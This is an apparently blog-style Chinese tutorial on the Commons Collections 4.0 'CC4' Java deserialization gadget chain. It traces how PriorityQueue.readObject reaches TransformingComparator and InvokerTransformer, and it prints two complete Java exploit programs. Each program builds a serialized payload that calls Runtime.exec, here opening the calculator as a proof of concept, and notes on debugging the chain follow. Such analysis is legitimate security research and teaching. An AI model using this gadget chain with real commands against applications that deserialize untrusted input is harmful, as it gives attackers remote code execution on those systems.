流程图
分析与复现
0x00 概述
CC4 是 commons-collections4 包中的一条链,与此前 commons-collections3 中的链相同之处在于触发点是一致的,调用 invokeTransformer 进行命令执行或者调用 instantiateTransformer 触发 TrAXFilter 进行任意代码执行。不同点在于,CC4 使用了不同的入口点—— PriorityQueue。
利用版本
CommonsCollections 4.0
限制
JDK版本:暂无限制
0x01 触发点
CC4 的触发点与CC1、CC3 一致,invokeTransformer 或者 ClassLoader。
0x02 利用链
不同于CC1、CC3 使用的 invokeTransformer 和 instantiateTransformer ,CC4 使用了另一个 TransformingComparator。可以看到 TransformingComparator 实现了 Serializable。
并且 TransformingComparator.compare 方法调用了 transform 方法。
this.transformer 是在构造函数中赋值的。
compare 这个方法很通用,因此可以在很多地方找到同名函数,CC4 在 PriorityQueue 优先队列中找到了 compare 方法的调用。
PriorityQueue.siftDownUsingComparator 对 compare 进行了调用。
继续往上寻找到 siftDown 方法,仍旧是一个 private 方法。
再次 find Usage,在 heapify 中找到调用。
heapify 在 PriorityQueue.readObject 中调用。
至此,这一条利用链已经完备了,流程图如下:
下面编写 exp:
将 PriorityQueue 的 comparator 赋值为 transformingComparator,transformingComparator 中的 transformer 赋值为 chainedTransformer。另外,在 Commons-collections4 中,ChainedTransformer 接收变长数组。因此可以不用提前声明 Transformer 数组了。
public class CC4 {
public static void main(String[] args) throws Exception{
TestTransformingComparator();
unserialize("abc.ser.bin");
}
public static void TestTransformingComparator() throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
));
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer, null);
PriorityQueue priorityQueue = new PriorityQueue();
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,transformingComparator);
serialize(priorityQueue);
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.ser.bin"));
oos.writeObject(o);
}
public static void unserialize(String filePath) throws Exception{
ObjectInputStream ins = new ObjectInputStream(new FileInputStream(filePath));
ins.readObject();
}
}
执行后什么也没有发生,调试进去看一下。heapify 中遍历时先将 i 右移一位,然后判断是否大于等于零。当前 size = 0 ,所以不能进入 siftDown。
也就是说我们在序列化前,还需要往优先队列中插入至少两个值。
priorityQueue.add("1");
priorityQueue.add("2");
再次调试,先不执行反序列化,发现也能够弹出计算器。发现 add 函数中调用 offer 函数。
由于 size > 0 ,offer 函数中也会调用 siftUp。
siftUp 函数中,如果存在 comparator ,就调用 siftUpUsingComparator,也就会走完利用链。
我们在序列化的时候当然不需要执行利用链,因此可以在 add 前将 comparator 置为 null,再在序列化前将 comparator 置为 transformingComparator。
最终 exp:
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception{
TestTransformingComparator();
unserialize("abc.ser.bin");
}
public static void TestTransformingComparator() throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(
new ConstantTransformer(
Runtime.class
),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
));
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer, null);
PriorityQueue priorityQueue = new PriorityQueue();
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,null);
priorityQueue.add("1");
priorityQueue.add("2");
comparatorField.set(priorityQueue,transformingComparator);
serialize(priorityQueue);
}
public static void serialize(Object o) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.ser.bin"));
oos.writeObject(o);
}
public static void unserialize(String filePath) throws Exception{
ObjectInputStream ins = new ObjectInputStream(new FileInputStream(filePath));
ins.readObject();
}
}
成功弹出计算器: